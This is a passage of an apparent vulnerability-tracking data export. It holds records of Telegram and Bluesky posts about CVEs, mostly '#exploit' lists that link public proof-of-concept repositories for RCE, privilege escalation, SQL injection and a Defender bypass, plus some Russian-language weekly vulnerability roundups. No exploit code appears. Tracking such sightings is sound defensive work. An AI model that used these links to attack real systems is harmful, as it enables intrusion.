CrafterCMS\nhttps://github.com/mbadanoiu/CVE-2022-40635\n\n2. CVE-2023-26049:\nCookie Bugs - Smuggling & Injection\nhttps://blog.ankursundara.com/cookie-bugs\n\n3. CVE-2023-47503:\nJfinal_ CMS V5.1.0 has login.jsp written to RCE\nhttps://github.com/jflyfox/jfinal_cms/issues/58", "creation_timestamp": "2024-03-20T05:07:42.000000Z"}, {"uuid": "dc44d300-b866-4162-ba8f-66913731f2a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9423", "content": "#exploit\n1. CVE-2023-2598:\nio_uring LPE\nhttps://github.com/ysanatomic/io_uring_LPE-CVE-2023-2598\n\n2. CVE-2023-47246:\nSysAid Server <23.3.36 RCE\nhttps://github.com/W01fh4cker/CVE-2023-47246-EXP", "creation_timestamp": "2023-11-19T13:23:12.000000Z"}, {"uuid": "d66b237b-6653-48ff-861e-34cfbd3a7e1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47444", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9459", "content": "#exploit\n1. CVE-2023-47444:\nAuthenticated Static Code Injections in OpenCart\nhttps://0xbro.red/disclosures/disclosed-vulnerabilities/opencart-cve-2023-47444\n\n2. CVE-2022-41853:\nUsing static functions to obtian RCE via Java Deserialization & Remote Codebase Attack\nhttps://github.com/mbadanoiu/CVE-2022-41853\n\n3. CVE-2023-3452:\nWordpress Plugin Canto < 3.0.5 - RFI/RCE Unauthenticated\nhttps://github.com/leoanggal1/CVE-2023-3452-PoC", "creation_timestamp": "2023-11-25T12:25:42.000000Z"}, {"uuid": "34b8432d-73b0-4e6f-8378-7c0faf16b14b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47014", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9510", "content": "#exploit\n1. CVE-2023-1450:\nMP4v2 2.1.2 mp4trackdump.cpp DumpTrack DoS\nhttps://github.com/10cksYiqiyinHangzhouTechnology/mp4v2_trackdump_poc\n\n2. CVE-2023-47014:\nSticky Notes App Using PHP with Source Code v1.0 - CSRF to CORS\nhttps://github.com/emirhanerdogu/CVE-2023-47014-Sticky-Notes-App-Using-PHP-with-Source-Code-v1.0-CSRF-to-CORS\n\n3. PicoCTF WebExploits\nhttps://github.com/PlayExploits/PicoCTF-WebExploits-Challenges", "creation_timestamp": "2023-12-03T18:24:41.000000Z"}, {"uuid": "38196847-3540-4c5e-bf9b-c732595055f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9971", "content": "#exploit\n1. CVE-2023-47218:\nQNAP QTS/QuTS Hero Unauthenticated Command Injection\nhttps://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed\n\n2. POC Pdf-exploit builder on C#\nhttps://github.com/K3rnel-Dev/pdf-exploit\n\n3. CVE-2023-31492:\nManageEngine ADManager Plus Recovery Password Disclosure\nhttps://docs.unsafe-inline.com/0day/manageengine-admanager-plus-build-less-than-7183-recovery-password-disclosure-cve-2023-31492", "creation_timestamp": "2024-02-14T22:24:47.000000Z"}, {"uuid": "1faa606d-c544-4a03-9b35-d213f3be5aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47464", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9983", "content": "#exploit\n1. CVE-2023-48003:\nAsp.Net Zero <12.3 - HTML Injection Leads to Open Redirect via Websockets\nhttps://docs.unsafe-inline.com/0day/asp.net-zero-v12.3.0-html-injection-leads-to-open-redirect-via-websockets-cve-2023-48003\n\n2. Windows Defender Detection Mitigation TrojanWin32Powessere.G\nhttps://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt\n\n3. CVE-2023-47464:\nPath Traversal in Gl-Inet Gl-AX1800\nhttps://github.com/HadessCS/CVE-2023-47464", "creation_timestamp": "2024-02-16T10:58:01.000000Z"}, {"uuid": "132654da-b2de-4a15-b56b-d7981c8e7394", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47460", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9370", "content": "#exploit\n1. CVE-2023-32031:\nMS Exchange PowerShell backend RCE\nhttps://github.com/Avento/CVE-2023-32031\n\n2. CVE-2021-43609:\nThe full exploit chain is SQLi -> file read -> RCE\nhttps://github.com/d5sec/CVE-2021-43609-POC\n\n3. CVE-2023-47460:\nSQL injection in Knovos Discovery v.22.67\nhttps://github.com/aleksey-vi/CVE-2023-47460", "creation_timestamp": "2023-11-11T20:38:04.000000Z"}, {"uuid": "ec972075-24e1-40df-a357-036ee8b40939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47119", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9394", "content": "#exploit\n1. CVE-2023-47119:\nMultiple vulnerabilities in Discourse\nhttps://github.com/BaadMaro/CVE-2023-47119\n\n2. CVE-2023-47129:\nStatamic CMS <4.33.0 - RCE\nhttps://github.com/Cyber-Wo0dy/CVE-2023-47129\n\n3. CVE-2023-32832:\nAndroid mtk_jpeg Driver Race Condition/Privilege Escalation\nhttps://packetstormsecurity.com/files/175662/Android-mtk_jpeg-Driver-Race-Condition-Privilege-Escalation.html", "creation_timestamp": "2024-06-22T15:14:18.000000Z"}, {"uuid": "5ab1fc0f-0b4b-47a2-871a-2ae19b46dfff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47129", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9394", "content": "#exploit\n1. CVE-2023-47119:\nMultiple vulnerabilities in Discourse\nhttps://github.com/BaadMaro/CVE-2023-47119\n\n2. CVE-2023-47129:\nStatamic CMS <4.33.0 - RCE\nhttps://github.com/Cyber-Wo0dy/CVE-2023-47129\n\n3. CVE-2023-32832:\nAndroid mtk_jpeg Driver Race Condition/Privilege Escalation\nhttps://packetstormsecurity.com/files/175662/Android-mtk_jpeg-Driver-Race-Condition-Privilege-Escalation.html", "creation_timestamp": "2024-06-22T15:14:18.000000Z"}, {"uuid": "36502adc-f5fa-4d81-9d35-757302c40bba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11169", "content": "#exploit\n1. CVE-2023-47253:\nQualitor <=8.2 - RCE\nhttps://github.com/vnxdtzip/CVE-2023-47253\n\n2. CVE-2024-7339:\nInformation Leak in DVR devices\nhttps://github.com/RevoltSecurities/CVE-2024-7339\n\n3. CVE-2024-5830:\nFrom object transition to RCE in the Chrome renderer\nhttps://github.blog/security/vulnerability-research/from-object-transition-to-rce-in-the-chrome-renderer", "creation_timestamp": "2024-09-22T02:44:19.000000Z"}, {"uuid": "b15b7a58-bd57-433f-92e3-83d9f54f6cef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mrw6as2bi62v", "content": "\ud83c\udf11 HADAL \u00b7 actively exploited critical\nCVE-2023-47246: In SysAid On-Premise before 23.3.36, a path traversal vulnerability leads to code execution after an attacker writes a\u2026\nCVSS 9.8 \u00b7 EPSS 98.9% \u00b7 CISA KEV \u00b7 0day\nhttps://beta.vulnsea.com/cve/CVE-2023-47246\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-07-31T04:59:26.859654Z"}, {"uuid": "7ada04de-7f60-44dc-a760-ed31a01bbf38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47014", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2179", "content": "#exploit\n1. CVE-2023-1450:\nMP4v2 2.1.2 mp4trackdump.cpp DumpTrack DoS\nhttps://github.com/10cksYiqiyinHangzhouTechnology/mp4v2_trackdump_poc\n\n2. CVE-2023-47014:\nSticky Notes App Using PHP with Source Code v1.0 - CSRF to CORS\nhttps://github.com/emirhanerdogu/CVE-2023-47014-Sticky-Notes-App-Using-PHP-with-Source-Code-v1.0-CSRF-to-CORS\n\n3. PicoCTF WebExploits\nhttps://github.com/PlayExploits/PicoCTF-WebExploits-Challenges", "creation_timestamp": "2024-08-16T08:55:31.000000Z"}, {"uuid": "dbda2ac0-9b17-4e84-9046-ddd4b5c0c18a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47444", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2096", "content": "#exploit\n1. CVE-2023-47444:\nAuthenticated Static Code Injections in OpenCart\nhttps://0xbro.red/disclosures/disclosed-vulnerabilities/opencart-cve-2023-47444\n\n2. CVE-2022-41853:\nUsing static functions to obtian RCE via Java Deserialization & Remote Codebase Attack\nhttps://github.com/mbadanoiu/CVE-2022-41853\n\n3. CVE-2023-3452:\nWordpress Plugin Canto < 3.0.5 - RFI/RCE Unauthenticated\nhttps://github.com/leoanggal1/CVE-2023-3452-PoC", "creation_timestamp": "2024-08-16T08:52:58.000000Z"}, {"uuid": "902c5941-e070-48cc-965a-377fec311031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1720", "content": "#exploit\n1. CVE-2023-2598:\nio_uring LPE\nhttps://github.com/ysanatomic/io_uring_LPE-CVE-2023-2598\n\n2. CVE-2023-47246:\nSysAid Server <23.3.36 RCE\nhttps://github.com/W01fh4cker/CVE-2023-47246-EXP", "creation_timestamp": "2024-08-16T08:45:55.000000Z"}, {"uuid": "39828f77-0ff1-4e4a-9d98-4b30f7dfb309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1752", "content": "#exploit\n1. CVE-2023-2598:\nio_uring LPE\nhttps://github.com/ysanatomic/io_uring_LPE-CVE-2023-2598\n\n2. CVE-2023-47246:\nSysAid Server <23.3.36 RCE\nhttps://github.com/W01fh4cker/CVE-2023-47246-EXP", "creation_timestamp": "2024-08-16T08:46:02.000000Z"}, {"uuid": "3fdb5493-498c-49eb-8d04-548425a5b6cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1785", "content": "https://github.com/W01fh4cker/CVE-2023-47246-EXP\n\nSysAid RCE \uff08webshell \uff09\n\n#github #exploit", "creation_timestamp": "2024-08-16T08:47:38.000000Z"}, {"uuid": "b9f4f2d1-48c5-4b63-b6a1-25e713cb5c2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47129", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1728", "content": "#exploit\n1. CVE-2023-47119:\nMultiple vulnerabilities in Discourse\nhttps://github.com/BaadMaro/CVE-2023-47119\n\n2. CVE-2023-47129:\nStatamic CMS <4.33.0 - RCE\nhttps://github.com/Cyber-Wo0dy/CVE-2023-47129\n\n3. CVE-2023-32832:\nAndroid mtk_jpeg Driver Race Condition/Privilege Escalation\nhttps://packetstormsecurity.com/files/175662/Android-mtk_jpeg-Driver-Race-Condition-Privilege-Escalation.html", "creation_timestamp": "2024-08-16T08:45:55.000000Z"}, {"uuid": "7477c823-7ee4-4714-b572-15f49a68aad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/4491", "content": "#exploit\n1. CVE-2023-47253:\nQualitor <=8.2 - RCE\nhttps://github.com/vnxdtzip/CVE-2023-47253\n\n2. CVE-2024-7339:\nInformation Leak in DVR devices\nhttps://github.com/RevoltSecurities/CVE-2024-7339\n\n3. CVE-2024-5830:\nFrom object transition to RCE in the Chrome renderer\nhttps://github.blog/security/vulnerability-research/from-object-transition-to-rce-in-the-chrome-renderer", "creation_timestamp": "2024-09-22T12:58:13.000000Z"}, {"uuid": "cc904abe-572d-487e-81b2-63e216e8c472", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47324", "type": "seen", "source": "https://t.me/kasraone_com/609", "content": "\ud83d\udd34 CVE \n\n      CVE-2023-47324\n\nSilverpeas Core 6.3.1\n\u0627\u0632 \u0637\u0631\u06cc\u0642 \u0648\u06cc\u0698\u06af\u06cc \u067e\u06cc\u0627\u0645/\u0627\u0637\u0644\u0627\u0639 \u0631\u0633\u0627\u0646\u06cc \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0647\u0627\u06cc \u0645\u062a\u0642\u0627\u0628\u0644 \u0633\u0627\u06cc\u062a (XSS) \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u0627\u0633\u062a\n\n\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u2661 \u2800\u2800 \u3007\u2800\u00a0 \u2800 \u2399\u2800\u200c \u200c \u2332\u2063 \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u02e1\u2071\u1d4f\u1d49\u00a0 \u1d9c\u1d52\u1d50\u1d50\u1d49\u207f\u1d57\u00a0 \u02e2\u1d43\u1d5b\u1d49\u00a0 \u02e2\u02b0\u1d43\u02b3\u1d49\n\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 K1\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 kasraone", "creation_timestamp": "2023-12-20T15:22:22.000000Z"}, {"uuid": "f8ccf319-4669-40ca-82d9-b2bedf197980", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/cisoclub/2983", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (15-21 \u043d\u043e\u044f\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \u0412 \ud83d\udcf0WordPress-\u043f\u043b\u0430\u0433\u0438\u043d\u0435 WP Fastest \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430.\n\n2\ufe0f\u20e3 \u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043d\u043e\u044f\u0431\u0440\u044c\u0441\u043a\u0438\u0439 \ud83d\udcbe\u043d\u0430\u0431\u043e\u0440 \u043f\u0430\u0442\u0447\u0435\u0439, \u0432 \u043e\u0431\u0449\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0445 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (\u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u0430 \u0435\u0449\u0435 20 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f Edge), \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u043f\u044f\u0442\u044c 0-day \u043e\u0448\u0438\u0431\u043e\u043a.\n\n3\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Intel \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 \u0434\u043b\u044f \ud83d\udcbb\u041f\u041a, \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u043e\u0432\u044b\u0435 \u043c\u0438\u043a\u0440\u043e\u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b Alder Lake, Raptor Lake \u0438 Sapphire Rapids.\n\n4\ufe0f\u20e3 \u0425\u0430\u043a\u0435\u0440\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-37580 \u0432 Zimbra \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \ud83c\udf0f\u0441\u0442\u0440\u0430\u043d. \n\n5\ufe0f\u20e3 \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \ud83d\udd11LockBit \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Citrix Bleed (CVE-2023-4966) \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u0440\u0443\u043f\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432. \n\n6\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f \ud83c\udf4fApple \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c iPhone, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u00ab\u0442\u0430\u043c\u0430\u0433\u043e\u0447\u0438\u00bb-\u0434\u0435\u0432\u0430\u0439\u0441\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Flipper Zero.\n\n7\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u2601\ufe0fCloud Director, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n8\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Microsoft Threat Intelligence \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f \ud83d\udc1eClop \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u0432\u0435\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SysAid (CVE-2023-47246) \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.", "creation_timestamp": "2026-08-03T18:00:04.462678Z"}, {"uuid": "00d1284e-dd09-484f-90c8-658f09cc7d6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cisoclub/2961", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (7-14 \u043d\u043e\u044f\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \ud83e\uddb9\ud83c\udffc\u200d\u2642\ufe0f\u0425\u0430\u043a\u0435\u0440\u044b \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Looney Tunables (CVE-2023-4911), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c root-\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n2\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e \ud83d\udd11\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 Microsoft Threat Intelligence \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Clop \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SysAid (CVE-2023-47246) \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n3\ufe0f\u20e3 \ud83c\uddf7\ud83c\uddfa\u041c\u0438\u043d\u0446\u0438\u0444\u0440\u044b \u0420\u0424 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0449\u0451 \u043e\u0434\u043d\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043f\u043e\u0438\u0441\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Bug Bounty, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u0443\u0434\u0435\u0442 \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c 9 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430, \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u00ab\u0413\u043e\u0441\u0443\u0441\u043b\u0443\u0433\u0438\u00bb.\n\n4\ufe0f\u20e3 Angara Security \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \ud83d\udcca\u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 